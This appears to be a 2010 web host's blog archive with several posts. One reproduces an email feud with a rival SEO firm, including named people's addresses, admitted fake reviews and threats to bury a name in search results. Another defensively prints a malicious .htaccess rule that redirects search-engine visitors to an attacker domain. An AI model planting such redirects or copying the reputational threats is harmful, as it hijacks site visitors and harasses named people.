I received a “threatening” email yesterday from Jeremy Wyss at Peak Studios that I just have to share here after posting it last night on Twittter.

Spurred on by ReTweets from internet marketers like Todd Mintz, Greg Boser, Aaron Chronster,  David Mihm Michael Dorausch (OK, sorry, that’s too much work, but here are dozens more )  I ended up getting over 500 visitors to my old 2008 post from the Retweets alone in one night.

Now I’m not really the vindictive type, and I’m not always this petty, but God dammit I know when I’m right, and I’m not gonna back down here. Besides, it’s too important that our industry stop “search marketing firms”  like this from damaging their clients.

Much like some high profile marketers I know of, like  Shoemoney,  SugarRae and Michael Gray, I don’t  generally like to  “call out “  other peoples behavior unnecessarily. But when they totally DESERVE it, or they’re complete and total idiots, I’m not afraid to let it rip, and this is one of those times.

Just minutes ago, the “axe fell” and this guy emailed the contact info of a bunch of domains he researched, some of which are my clients, some affiliates, (and some I’ve never even heard of) with a vague, non-specific and unsigned “warning” about me.  (Score one for John Andrews here by the way, who told me a couple of years ago I was crazy to keep client references showing on my site. Guess you were right, John.)

A Quick History
Way back in October of 2008, Peak Studios sent some badly spun forum spam for their “search marketing services”  to the search marketing forum which I’m a moderator for, over at SEMpdx.  I thought it was sort of funny, so I Twittered it.

When I phoned Peak,  not only didn’t see anything “wrong” with it,  he defended it,  and didn’t even see the irony. (Anyone that knows me realizes I believe there’s a time and place for spam, but that sure wasn’t it! We hung up sort of agreeing to disagree, and I dropped it, thinking “this guy just doesn’t get it”! 

A couple hours later, this guy, the owner of Peak Studios,  actually then phoned the number on the SEMpdx website and spoke to both  Kent Lewis (the past president) AND to Ben Lloyd (the current president, where he DEMANDED that I take down my Tweet or else!  Seriously!

When Ben told me, I was so perterbed, that I then wrote a post over at SEMpdx there about the ignorance of  the  Peak Studios forum spam activity, titling it “Spam is in the Eye of the Beholder”.

That infuriated him of course,  and after a few heated emails with the board, Ben informed him that the entire SEMpdx board of directors unanimously voted to leave my post up.

Ya know what he did then?

Instead of apologizing and perhaps looking within,  Quince Wyss, then turned around and left fake negative reviews on the SEMpdx board member Google local business profiles. And this was AFTER 99 % of the internet marketing community pointed out the error of his ways in the comments at Sphinn.

I Lost It
The fake review on my own Google business profile REALLY had me smoked, so I blew up, and phoned him, leaving a screaming and profane voice mail for him that would have made my Dad blush.

What does he do? He edited and cut my voicemail to take out his company name or what I was accusing him of, and anonymously posted on YouTube, trying to make me look like a raving lunatic.  (This, “raving lunatic” stuff came as no surprise to my wife or anyone that know me, because I was REALLY pissed.)

That recorded voicemail on YouTube sparked me to do some investigative digging into their history  so I posted on my own blog in December of 2008 with a backstory and video showing exactly how  Peak Studios was leaving deceptive fake “bad” reviews for their clients competitors!

I still stand behind that post 100%, and my decision to do it, and I was pretty happy to see that it too was supported by the entire Sphinn community. Even Tamar Weinberg from Techipedia thought it was worth mentioning in the Ultimate Social Media Handbook.

So, now you’re current and up to date,  and oh,  I forgot to mention that the post is ranking highly for their company name, and that’s why he contacted me yesterday after 14 months with his “threat”.

It’s interesting to note that from his perspective, the fact that Peak Studios spammed SEMpdx in the first place was is a total non-issue.

The poorly crafted and badly spun articles sent posted in a search marketing organization’s forum  was bad enough, but the fact that they still defend it (below),  and that they left us fake reviews for exposing them,  and then were (or still are?) leaving damaging reviews for their clients competitors should be very enlightening to other marketers and bloggers in Colorado .

So, instead of being afraid of this supposed “blackmail threat”,  I’m sort of proud to have my “clients” read the history here, as well as my family, friends, kids, parents, and anyone I ever have contact with, or may possibly in the future.

Thanks for the link bait Quince and Jeremy, and yes, I do plead guilty of having an ego – but I also have the business sense to understand when I’m wrong, and I’m man enough to admit it when that happens.

Verbatim and unedited, here it is below… (His stuff is red, and mine is blue and of course, read from the bottom up for context

This Email went out today to an unknown number of people – Unsigned, by the way, from a Gmail address, with all the typos and  grammatical errors you see below-

From: Jeremy.wyss [mailto:jeremy.wyss@gmail.com]
Sent: Thursday, February 11, 2010 1:03 PM
To: Scott Hendison – Search Commander, Inc.
Subject: Scott hendison is not looking out for your best interests – recommend contacting him to discuss – here are the details

As a consumer I like to work with companies who always think about my best interest. Scott Hendison has been bashing our company for over a year now and when asked to stop he refused cause of his ego. He thinks it is a game or something.

I’d point out that after my December 2008 post, I really did nothing, and had in fact forgotten all about it. There’s was no “continual bashing” –  certainly not like there will be now!

Well we have had just about enough and told him we would not be putting up with it anymore. We had given him 24 hours to remove his post that he claims is about us, unfortunately not all of his information is correct (What about the video proof I have for all of my claims on my original post?) and whenever we tried to respond he would not post it, cause he bashed us on his site and wanted everyone to think he was right (again with his ego).

( I never deleted or declined approval for any of his comments, and do encourage him to speak his mind here. Anyone can vouch for the fact that I love a good argument, and there’s no way I’d delete anything. Why would I?  With every sentence they write, it makes them look worse and worse! )

The reason I am telling you this is cause it may have an impact on your company if you continue to work him and he doesn’t remove the requested items. I can only assume that he is well aware of the fact that the negative online reputation that he is getting, from being so negative towards others, will effect his clients eventually. The problem is that his ego makes him believe that his negative smear campaign against another company has no effect on his company or the companies he associates himself with, probably cause of his God complex. Well in todays world people do look at the companies that people choose to do work with as a marker of their professionalism. I for one would not want anyone to associate myself with a person like Scott who would rather hurt his clients than take 10 seconds to remove something.

I would strongly recommend calling him and letting him know that he was hired to look out for your best interests ( not drag your business name through the mud with his) and to remove the items immediately so everyone can go on with their life. In addition, he received this email too and is well aware that I am sending it to you, I guess he really just doesn’t care about his clients.

So that went out to clients, UNSIGNED I’d point out,  with no links at all, or an explanation of anything. He even sent it from a cowardly Gmail address. How does this “hurt” me or my clients again? My last threat to SEND that email came from him came about an hour before he sent…

From: jeremy@peakstudios.com [mailto:jeremy@peakstudios.com]
Sent: Thursday, February 11, 2010 12:03 PM
To: Scott Hendison – Search Commander, Inc.
Subject: this is going out to your clients in 20 minutes if that stuff isn’t removed… this is step one are you sure you really want this?

this is going out to your clients in 20 minutes if that stuff isn’t removed… this is step one are you sure you  really want this?

He had a rough draft here of the letter above, then he thoughtfully, included the entire text in this one email,  which made this post easier.

First of all this isn’t Quince, 2nd of all the entire incident occurred cause of a misunderstanding, cause from looking at the sempdx it looked like we were aloud to post things about our company. Unfortunately, there was no disclaimer that said if you are on the board of sempdx please post and reply to people here. I was the one who posted the two blog comments and I never reposted them I edited them. Instead of being an adult and just clicking deleting them you decided to call and argue with Quince. We manage blogs too Scott,it is easy to just click a button or even better you don’t allow posts to go public until reviewed.

You saying I would not work this guy cause of this message is spam as you interpret it on your post, have you read what you wrote on our reviews?

Oh we know what we did towards you was not right I am the first to admit it, but we did it in retaliation for your comments about us on sempdx, your site and google maps along with your little social networking.

finally your vague answer to my question is wonderful, so you don’t care if you negatively effect your clients income.

You can look at it this way is it worth your time and energy to deal with the ramifications it is going to bring to you if you don’t remove it? It will take you ten seconds to remove it and it may hurt your ego a little bit but just think there are still posts bashing us at sempdx  so you have won.That is the whole point you want to think you have won right?  I can tell you for a fact the only way for you to win is agree your little game is over take your trophy, remove that stuff and move on with your life.

Scott Hendison – Search Commander, Inc. wrote:

You know, you’re probably not a bad guy, but you’re incredibly dense.  I phoned you in the first place as a courtesy, one SEO to another, and you just didn’t get it.  I TOLD you this would happen, and that I’d end up ranking for your name, but no, you didn’t want to listen.

Now you dare to threaten me with some imaginary loss of income? Are you serious?  To retaliate I guess I’d just copy / paste this whole email as a new blog post.  Care to bet on how fast I can get an indented listing for your name too?  Maybe I’ll ask some friends if they’ll let me guest post on their blogs too, and take up some more page one real estate.

You’re asking ME  if I “can’t stand to remove something?” Seriously?  Dude, you’re the one that refused to take my voicemail off Youtube, and it cost me time, energy, a little stress, and more than a few bucks to  get rid of it myself.  (By the way, if you still have a recording, I’d love to have it, and I’ll post it myself)

My whole point is that you’ve never admitted the error of your spammy ways in the first place, and never apologized for the fake reviews you left me, because you still don’t think you did anything wrong.

You even had the balls to register variants of MY NAME with Google and for that alone I should come after you.

http://maps.google.com/maps/user?uid=112369592856088633717&hl=en&gl=us

http://maps.google.com/maps/user?uid=102014840258178979812&hl=en&gl=us&ptab=1

http://maps.google.com/maps/user?uid=103099292697466303277&hl=en&gl=us&ptab=3

http://maps.google.com/maps/user?uid=100424242897549655456&hl=en&gl=us&ptab=0

Not too smart for someone who’s own name .com is still available – (don’t worry, I wouldn’t stoop that low)

Anyway, thanks for sparking some  more comments on that year old post today , by the way.  Why don’t you just let this die off, before you become even more of a trending topic at Twitter http://search.twitter.com/search?q=peak+studios –

You’d better wise up, quit while you’re behind, and stop pissing me off or I really WILL make it my mission to drive you completely off page one for your own name.  Believe me, I’ll find the time, with legitimate facts posted at a few domains, and a few choice links.

Go ahead, dare me to…

Scott

(PS – My apologies to those I’ve annoyed with my bcc, but please let me know if you’d either like to write about this fiasco, or might let me do a guest post in case this guy wants to continue to escalate)

From: Jeremy.wyss [mailto:jeremy.wyss@gmail.com]
Sent: Wednesday, February 10, 2010 3:20 PM
To: Scott Hendison – Search Commander, Inc.
Subject: Re: page removal – Peak Studios

So you thought about the effects it could have on your income and the income of the businesses you market for? really are you an adult or is your ego so big that you can’t stand to remove something?

Scott Hendison – Search Commander, Inc. wrote:

Gee, what’s wrong? Are you not happy with it ranking highly for your company name?

Do you really think I’ll respond to this by taking it down? Hilarious.

Sorry, but nothing about you on  my site is coming down, because nothing there is untrue.  Nothing.

I show my facts there pretty well, I believe. Frankly, I’d forgotten all about it, and have better things to do.

Also, NONE of my own Google reviews are anything less than 100% true, including my thoughts on my own dentist, my kids dentist, my kids school, my friend Randy,  Marvin the fishing guide who took us fishing, David our mortgage broker since 1999, and so on.  I’m not sure what your beef is with my REAL reviews, UNLIKE what you guys were doing  - or for all I know still are – that’s what reviews are for!  Do you really not comprehend the difference?

Don’t worry, I won’t contact you because I’ve got NO INTEREST in discussing anything with you, however, feel free to comment on the post in question.

Actually, lets see if people think I should remove it or not…

http://twitter.com/shendison/status/8922559578

I’ve also bcc’d the board of SEMpdx (who all remember the situation quite well)  in case any of them want to weigh in, and I’m debating placing this email online as another post to outrank you for your company name…

Sincerely,

Scott Hendison

From: Jeremy.wyss [mailto:jeremy.wyss@gmail.com]
Sent: Wednesday, February 10, 2010 2:16 PM
To: scott@pdxtc.com
Subject: page removal.

You need to remove this page http://www.pdxtc.com/wpblog/viruses-and-scams/peak-studios-actually-harming-clients/ from your website along with the two reviews you and your friend left on peak studios local listings David Kyle reviews and the reviews in your own name within the next 24 hours. This is not a negotiation or discussion the 3 items will be removed within 24 hours. no point in contacting us to discuss we will just make sure it has been done by tomorrow at noon. If you need guidance I would look to your family, friends, the companies listed bellow and god to help you make your decision – I am sure they will lead you in the right direction.

(about  25 domains have been snipped out here for privacy – even though less than half ever were actual clients of mine)

Have a wonderful day and may god bless you!

So, there you have it, and thanks for reading. I’m sorry to waste your time, but this was just too rich to pass up. What do you think?  Am I completely out of line?

We just fixed an instance of a domain which appeared fine when visited directly, but when coming from the search results, all users were being redirected.

Because of my recent personal virus experience  redirecting my visits from search results I was thrown off at first,  but it turned out that all users coming from search engines to that website were being redirected in a completely different way.

I found that the following code was placed in the .htaccess file at the root of the domain. :

RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*

RewriteRule ^(.*)$ http;//sudnijdenprishel.com/gold/go.php?sid=6 [R=301,L]

(* note that I replaced the colon with a semicolon in the above url)

You can see what was happening here. the .htaccess file was either hacked, or came from the web designers computer, and it was causing all users being referred by any search engines listed to be reduirected to the sudnijdenprishel.com.

I looked up the Who-is info for sudnijdenprishel.com and found this, showing the domain is brand new:

Registrant:
PrivacyProtect.org
Domain Admin (contact@privacyprotect.org)
P.O. Box 97
Note – All Postal Mails Rejected, visit Privacyprotect.org
Moergestel
null,5066 ZH
NL
Tel. +45.36946676

Creation Date: 21-Jan-2010
Expiration Date: 21-Jan-2011

Domain servers in listed order:
ns2.jino.ru
ns1.jino.ru

Since my search was being stymied by privacy, I tried looking up WHOIS information for jino.ru :

[Querying whois.ripn.net]
[whois.ripn.net]
By submitting a query to RIPN’s Whois Service

domain: JINO.RU
type: CORPORATE
nserver: ns1.jino.ru. 217.107.34.200
nserver: ns2.jino.ru. 217.107.217.16
nserver: ns3.jino.ru. 217.107.219.170
state: REGISTERED, DELEGATED, VERIFIED
org: Avguro Technologies, Ltd.
phone: +7 495 2293031
fax-no: +7 495 2293031
e-mail: info@jino.ru
e-mail: info@avguro.ru
registrar: R01-REG-RIPN
created: 2002.11.27
paid-till: 2010.11.28
source: TCI

and fropm there, it’s not worth chasing down further, because I’m not Skyping into Kazakhstan.

Anyway, if users claim they’re being redirected, do these things:

1. Check your website .htaccess file
2. Scan your computer for any viruses, in case you’re the source in the first place, which is often the case.
3. Change your FTP usernames and passwords to good ones (from a clean computer) just in case your password was hacked.

My trip to the 2010 Consumer Electronics Show was unlike last year, or any other years I’ve gone, because I cut myself short on time.

The organization of the show changed quite a bit, and in the past, all of the breakthrough inventions were situated in one giant hall, over at the Sands Expo Center.

After last year’s downsizing of the show, I was able to make it through that entire emerging technology area in just one day, and I found myself with a lot of time on my hands, so this year I decided to only come for one day.

Little did I know, that this year, likely due to the economy, they would downsize even further and cut out the Sands entirely, cramming everything together in the big convention center.

To make matters worse, rather than group all of these inventions in one space, they spread them throughout the entire show on red carpeted “Tech Zone” areas, so I had no choice but to try and make it through the entire show in one day.

Anyone who’s ever been there before knows that it’s impossible to see everything in one day, not to mention that it’s totally impossible to find all of the separated tech zones.

Amazingly, I can swear that I’d pretty much walked and jogged up and down almost every square foot of the entire North Hall, Central Hall, and Southall, along with at least two of the second floors that I can remember.

It was a whirlwind tour, and something I’ll never try again, because I really do feel somewhat slighted.

Why Do I Attend?
My goal in going each year is to seek out new technology, products, trends and inventions, then buy domain names and begin development of some web properties to start to become visible in the SERPS.

Generally, in the beginning there are no revenue opportunities, but soon, as they catch on, merchants create affiliate programs, and we’ve got several well earning sites based on thing’s I’ve discovered at CES.

CES 2010 Was in 3D
What struck me most all day long, was that I saw more 3D TV signs than I could believe. Nearly every manufacturer seems to have 3-D TVs, and nearly all of them require that you wear glasses.

Having just seen Avatar in 3D, I was pretty impressed, but I’m amazed that everyone is banking on the average American family wanting to put on glasses to watch TV.

In the international area, I saw aftermarket vendors of fashionable 3-D glasses, all the way down to toddler size, and it wouldn’t surprise me if you could get 3-D lenses put in a set of Ray-Ban frames.

I also saw screens to go on top of your monitors and handheld multimedia devices too, that would eliminate the need to have glasses. If you’re looking at non-3-D content you just take the screen off.

Only Intel had a 3-D television that did not require glasses showing, so I’m sure we can expect that having to wear glasses will soon be a thing of the past.

Besides my short stay, I also apparently forgot my headset and microphone, so dictating my summary when I got back that night was impossible.

Instead, I used my Blackberry to make a few audio notes, and have only now finished organizing my thoughts and photos.

Here, in no particular order, are my own personal CES 2010 highlights.

BlueTooth Rear View Mirror

Oregon has now passed a law that you can’t hold your phone to your head while you drive because steering takes two hands, so I was wondering if there would be any solar Bluetooth speakerphones, and there were.

I was pretty impressed with the idea, as I wandered through the auto area, but then I came across this unit. This would be great, since I’ve usually got a dead Bluetooth headset.

Caller ID scrolls across the mirror, and it’s a speakerphone AND it comes with an earpiece too, for when you prefer privacy.

USB 3.0

This isn’t really a particular product it’s just a technology, which will soon be everywhere, as it becomes widely adopted standard.

This is a chart showing how fast USB 3.0 or the trademarked term “super USB” – You can transfer 27 gigs in 70 seconds!

Unless I miss my guess, would be increased size of flash drives, and these increased speed of data transfer, there’s no reason why my entire computer won’t someday be able to fit on my USB drive.

For years we have been able to boot a computer from a USB stick, but with these increased speeds it’s going to be possible to do a lot more. It wouldn’t surprise me at all if by this time next year, I’ll bet we are able to boot to the Google OS from a USB stick, browse the web, use Google docs, check mail etc., and even store local copies of documents that are created with the Google Docs platform.

If you haven’t said goodbye to Microsoft already, I’d say that’ll be the day to sell your Microsoft stock.

Data Jack

In many cases, a brick-and-mortar location may be effectively “out of business” when their Internet connection goes down and there’s a company that’s being marketed as an “Internet access backup service”.

Functioning through the cellular phone provider networks GSM / 3G connections, your connectivity is assured from almost anywhere, at speeds that are about three times faster than your old dial-up connection.

They also offer daisy chaining and routing capability for multiple users, so at 40 bucks a month, seems like a pretty affordable insurance policy.

Personal Cell Tower – 5barz

A clever name for a clever solution to an ever frustrating problem, this is a cellular signal repeater, it’s going to be marketed as your own personal cell tower.

It works with any carrier by multiplying any signal, even under “half a bar” into a full strength five bar connection. (Don’t ask me why they can’t just build that into phones in the first place).

Thumb ring Blue-tooth

Fashion and technology are merging in many forms, and Bluetooth clothing is nothing new, but I thought this piece of jewelry was pretty slick.

This is a Bluetooth cell phone accessory, with a vibrating thumb ring, with an LED display that’s large enough to read the caller ID.

Should you decide to answer, simply twist it, and stick it in your ear. I I didn’t stick around long enough to see if it had a speakerphone, but I’m guessing it does.

Man-powered Generator

What makes this unique, is that you can charge up this big box of power, and take it with you wherever you need to, since it has all of the necessary electrical connections to plug in any device from anywhere in the world.

There are adapters that allows you to use your bicycle, tricycle (so your kids can do the work), and for all I know, a hamster wheel adapter will be coming next!

The Storm – Digital TV Receiver

This dongle just plugs into your smart phone or laptop, and gives you free digital TV reception. Of course, since free TV is probably going away entirely, its life may be limited, but it still seemed like a fun thing to have.

I can remember being stuck at charity auction during a World Series game, and one of these would’ve been awesome to have.

With this device, you can open up a TV screen, drag it to a second monitor, and if you’re on the road with a dual monitor laptop, you don’t have to try to figure out the hotels TV computer system

Extra Laptop Monitor

Speaking of two monitors, I’m pretty spoiled with my multi-monitor setup at home, and when I travel, I can usually work just fine on my laptop. Some people though, are real road warriors, and need multiple monitors to be productive. For them, there’s now a solution.

Stylish Dresser Valet

Get rid of unsightly cord tangle, and the mess of having your E- equipment strewn all over the dresser with this stylish and fashionable electronic device caddy.

Okay, maybe it’s not that technologically amazing, but it would make a pretty good Father’s Day present, wouldn’t it?

Tiny DVR

The camera doesn’t do this one justice, because the guy apparently moved his hand and I had my camera on a weird zoom thing, but it’s a full functioning DVR that records to removable Flash memory.

It’s designed to be a wearable or clip on spy cam, and it has motion sensing technology, easy on off switches, and the option to have the red recording light flash or not.

Solar Wing

This solar car was built as a school project by engineering students in Japan. If you look closely, you can see that in the background the pictures on the wall show that this “wing” is visible on a flying airplane. I couldn’t tell if it was an artist rendering or a photograph of an existing prototype, but I think you get the idea.

Audio Egg

Okay, I do have to admit that I was impressed by the sound. It really was every bit as good as any pair of headphones I’ve ever tried. However, with the size being roughly 400 times larger than a good set of headphones, and a limited fashion colors available, I just don’t see them becoming widely adopted.

Bone Conduction Audio

It’s probably been two years since I first tried on a set of these bone conduction headphones, but there have been some technology breakthroughs and now, their popularity is spreading.

The concept is that instead of sticking something in your ear, you can more comfortably wear it on top of your ear, and the vibration in your skull actually sounds as clear as a bell, just like you wearing a standard earbud.

The technology was at multiple booths, and I believe it will continue to grow in popularity since so many people absolutely hate the way some of these things feel when they are inside your ear.

65 inch HD Combo Touchscreen Monitor & Interactive Whiteboard

Need I say more?

Video Game Seating

Due to cutting myself short on time, I didn’t get to drive a single lap or single mile this year, and as a former gameaholic, it was pretty disappointing. I didn’t get to try any of the flight seats, cockpits, driving consoles, beanbag chairs with speakers, or any other gaming furniture that only the most spoiled children on the planet usually get to own.

Hovering Spy-Craft

In just a tiny booth from an inventor, this little XWing is precisely maneuverable, and you can easily hover, go forward, backwards, and make tight corners. Check out this Cnet video

Believe it or not, the unit can be radio controlled from up to a mile away! Never mind the fact that you can’t see it, but the guy does claim it works from a mile away.

The black ones, from a bigger vensoldor, look like little military drones, and had similar maneuverability.

How long it will be before civilians can attach one of those little cameras to these drones, and it also has internet or cell access to broadcast photos?

People will be flying spy vehicles around their neighborhoods from their home computers pretty soon! Here’s a still image of one, and a quick video of the Xwing.

The Hall of Innovations
I usually linger for a couple of hours in here, since it’s where the awards are given for best of the show gone through the best of the entire show. This year though, I had to plow through pretty quickly, trying to reading the description lines of each sign, but I’m sure I missed some cool stuff. In many cases the device was too small or obscure looking, so it took a picture of the sign instead.

Start Your Car with an iPhone

This is an iPhone app that will unlock or even start your vehicle. I hope there are safety precautions that would prevent you from starting a manual transmission vehicle while in gear, jumping it through your garage wall!

Power Line Gigabit Networking

I really don’t know how slowly data used to travel over a network, but in 1997, if I had networked your office, we would’ve run cable everywhere in your office that a computer needed to be.

Although there was technology for running data over phone lines, and even running data over all electrical lines, it never really caught on, and data typically traveled at 10 mb, and it was quickly multiplied by 10 times, and 100mbs became the norm. That jumped by 10 again, as 1000mb, or Gigabit speeds were introduced and today’s standard is “gigabit networking”.

Now, gigabit speeds are available directly over your power lines, so no additional wiring is necessary beyond regular electrical. Since this is 10 times faster than wireless, computers support it natively, right through their ethernet port, it sure sounds to me like it’s poised to take over as the industry standard. Does new construction still typically have ethernet cable run? I’ll bet it won’t for much longer…

Family Storage and Networked
BluRay

An LG network storage device that was (umpteen?) terabytes in size, and even had a built-in Blu-Ray player to watch movies from anywhere in your home.

Built In Speakers

Speakers are being built into everyday devices, in all sorts of furniture and appliances. The technology really surrounds you in sound, and sounds great even over wireless connections. with no freestanding speakers to worry about and even no speaker wire for some of the models, I’m sure there’s lots more to come.

The Dorky Geektoy Award

Last year, the silliest thing I saw, (although functional) was a wire coat-hanger type device for holding your cell phone to your head to be “hands free”… seriously.

Does this look equally as silly when you wear it? Um, yeah…

Hat’s off, (literally) to this thing, designed to tuck your iPhone into the holder at the end of the visor, then slap it on your head, and put on your headphones, retreating into your own little universe of “private” viewing. Amazing.

I have a few things I’ve held back, primarily because my wrists are sore, they weren’t that fascinating, or in a couple of cases, I need to get a site up first, before touting the technology.

Next year I’m definitely staying for at least two full days…

We’ve had another web hosting customer screw things up for everyone else on their shared mail server by sending unsolicited e-mail, which is against our terms of service.

I’ve written about this before, more than once, and this user has received no warnings, gets no second chances, and their web hosting account, including all e-mail service has been permanently removed from our system.

What Happened?
A user on a shared hosting account innocently sent out an email message to their customer list. At least one of their customers at a Comcast account, and one at a Hotmail account, reported the message as spam.

The big email providers act quickly, so now one of our mail server IP addresses has been “spam flagged” by both Microsoft and Comcast. They are not letting mail from that particular server through to their users.

A typical bounce message is something like this:

What has been done?
On our end, the problem has been resolved, and we’ve proven to them that we have taken the necessary corrective measures, and now it’s just a matter of time, up to 48 hours, before our mail is again allowed to come through to their services. This time delay is unavoidable, and we are sorry for the inconvenience.

How can you send to your mailing list?
As a reminder, you should never send bulk e-mail to your own mailing list through your own web hosting account.

It doesn’t matter if your users have agreed to accept your messages or not, because all it takes is one person to complain to their ISP that you send them spam, and our mail server gets blocked.

This causes a huge inconvenience to any other users that may be on that particular mail server, so therefore it is our policy here at PDXTC (and at most web hosts) to not allow any bulk e-mail messages to be sent from your account.

Instead, you should use a third-party service, like Icontact which begins at just $10 per month.

They have industry-leading deliverability, and a third-party company, called Pivotal Veracity, scores their email deliverability rates between 98%-99%.

You can track the performance of all emails sent at a glance with charts and graphs that are populated in real time.

They offer 250 professionally designed email newsletter templates or you can use one of your own for your email marketing campaign, and it’s easy to set up, organize, and upload or import your contacts. They offer advanced features, like surveys, autoresponders, and RSS feeds in their easy-to-use all-inclusive product.

They offer a 30 day free trial so you have nothing to lose.

Google is all over the map in the way it displays search results,  but it looks like  SEO, web-hosting, and web design are not!

Well, technically they’re still  “on the map”  but the map is not showing up any more in Google searches.

Yes, in case you missed the news,  Google local map results are not being shown any more for web designers, for search marketing firms,  or web hosting.

Why?
It’s still unclear, and to my knowledge, there’s been no definitive explanation from Google.

As a local webhost / search marketer / developer, I’d like to point out that this sort of… well…  sucks to be singled out, and to me it makes no sense.

A Little History for Beginners
Google introduced local map results into the mix quite a while ago, and they’ve changed when and how they display several times.

After PPC ads came along, searching for a local business showed like this -

About two years ago, they started showing a map, and either one or three results, when someone did a search that included a geographic target.

Then in January of 2008, they dramatically tripled the front page real estate to show TEN results,  although late last year they knocked that number back to just seven.

(photos source)

Obviously this had the effect of pushing the organic search results even further down the page, below the PPC ads and below the map results, effectively making the number one organic spot appear in what is really the 14th position.

The entire web marketing industry changed for local businesses, and a new niche was born, with a different set of ranking factors almost completely unrelated to typical SEO.

What’s Happening Now?
Nearly two months ago, November 2009, they began to make some more changes, and then suddenly were not showing ANY map results for “web design” when a city name was included.

This was followed quickly by Web hosting, and they have now removed the map results from all SEO, and Internet marketing services type phrases too! Huh.

On December 14th Brian, a Google employee noted on another thread -

…it looks like a lot of the recent search examples on this thread have to do with web design, SEO, and other services of that sort.

It’s possible that instead of being related to the original issue, Google.com doesn’t bring up map results for these types of searches because the search term doesn’t show much local intent.

Oh really? There’s no local intent on a search for Portland web host?  Puh-lease.

On December 31, a Google employee caused quite a stir when he said this:

Today, we’re intentionally showing less local results for web design / SEO queries. For example, [web design sacramento] doesn’t display local listings today.

We believe this is an accurate representation of user intent. In some cases, we do show local listings, however (as NSNA/php-er noted) [web design in bellingham].

I’m sure some of you feel we should be displaying local results for queries like [Web Design Vancouver]. I understand that concern, but based on our understanding of our users, we feel this is the right decision for now.

But using “In” Counts?
Before Joel from Google replied, someone pointed out that using the word “in” does trigger the maps, but Joel didn’t address that at all.

Yes, it seems that by using the word “in”  – a word that has pretty much been accepted as an SEO stop word – users will trigger these drastic result changes.

Will it’s use just affect Google maps, or will having “in” in your title tags now factor higher in organic listings?

Perhaps that too,  will be industry specific? sure would be nice to get a list of those industries? Unreal.

Is this Fair?
They don’t need to be “fair”, or even reasonable!  Google can do whatever they want, and in this case, it sounds like they want just tell us “thanks and goodbye“.

If someone searches for “plumber Portland” or any one of hundreds of other products or services, they’re going to see local map results, but for Portland web hosting, they’re not. That’s just the way it is.

The fact that this could happen to any industry tomorrow is what’s the most frustrating, and does seem a bit unfair – not so much to us, the “evil industry”, but to the public, who rely on our interpretation and expertise?  What are we, as industry professionals supposed to tell clients?

Over the past year, we’ve been seeing local businesses pretty much ignore the organics, in favor of local efforts, but maybe they should just put  “in”  before every city name in their title tags?

I Think Google is Being Arrogant
In 2007,  I was at the Search Engine Strategies Local conference in Los Angeles, and during a Q&A, I asked John Hanke, the Director at Google Maps:  “Besides having an address near the center of the zip code, what factors determine ranking in local search?

Rather than give me anything useful, he appeared almost shocked that I would ask such a thing, and he actually said he “wasn’t there to give away  Google algorithm secrets”! (Not even at SES?)

I was stunned, and some members of the audience (who seemed to be mostly advertising executives and PPC managers) laughed at my stupid question.

Today, there is a wealth of local search information and search knowledge like you can’t believe. The entire industry is making Google gazilionaires,  and they want to treat us like this?

Frankly, I think that Google is simply spitting in the face of the very industry that helped build them up in the first place.

The Teaching Moment
the word, “it”  – a word that most SEO’s have long treated as just an SEO stop word, is now going to trigger these DRASTIC changes.

However, This fact only applies to some industries, and that list is subject to change, although there IS no list you can see.

Got it?

Just like the weather here in Oregon, if you don’t like the way Google search works today,  just wait a while because you can bet it’s going to change again, and probably soon.

Note – In complete irony, this Monday’s snail mail contained a window decal and a letter from Google maps stating that I was a “favorite place” -  which is now pretty much pointless!

Before Google’s announcement that the speed at which your site loads for visitors “matters”, we’d all heard it said repeatedly that it did NOT matter for organic rankings, but that it may someday, and it seems that day arrived early last month.

When I rolled out the SEO Automatic review, I chose to include the checking of site compression, and showing file sizes, even though the collective wisdom of the SEO industry was that your page load time was only a factor for your Google Adwords Quality Score, and for the user experience, but it was not an organic ranking factor.

At Pubcon last month, in my web hosting presentation, I talked for the third year in a row about speeding up your website. My logic was that what’s good for visitors was good for the search engines, and nobody wanted to sit around and wait for a page to load.

Near the end of my slides, I said I was predicting Google would make page speed a factor very soon, and the very next afternoon, the announcement was made by Matt Cutts that they now were. Am I a heretic? Hardly – others had been saying the same thing for a while already.

So, now that speed “officially” matters, Google is further stressing the importance by adding info to Google Webmaster Tools, and here’s a 4 minute video I made showing you what they’ve done, and their Firefox tools as well.

I’ve frequently been asked if I can point to a good example of Twitter marketing, and it’s rare, but I saw one first hand this weekend.

Sunday afternoon, I happened to notice that Gary Vaynerchuck twittered that he would offer free shipping for the entire year of 2010, if the New York Jets were to beat the Indianapolis Colts!

Fat chance of that happening, I figured, but I still thought it was a cool gamble, so I retweeted what Gary said.

Then, in the second half of the football game, the Colts laid down for the Jets by removing their starters,  and the Jets did actually beat the Colts by a score of 29 to 15.  Was this some sort of payoff by a competitor of Gourmet Library?

Anyway, I sort of forgot about it, until just now as I was looking at the Twitter stream, and I happened to see this:

So following the link in that Tweet,  I came to this -

So, I just got done sending an email off,  requesting my free shipping code for the entire year, and i’m going to go browse the catalog…

It will  be interesting to hear how many free shipping codes get given away, as well as to know (a year from now) how much in free shipping was given away, how many dollars, and how many new customers were brought in by this single Tweet.

Yesterday afternoon PDXTC had a report that a website we were hosting was down, but the server administrators said that it was up.

An hour later, we had a second report of another website down, and the admins claimed it was up as well, and that’s where I got involved.

I was working from home, and checking both websites came up blank – page not found – through my Comcast internet connection.

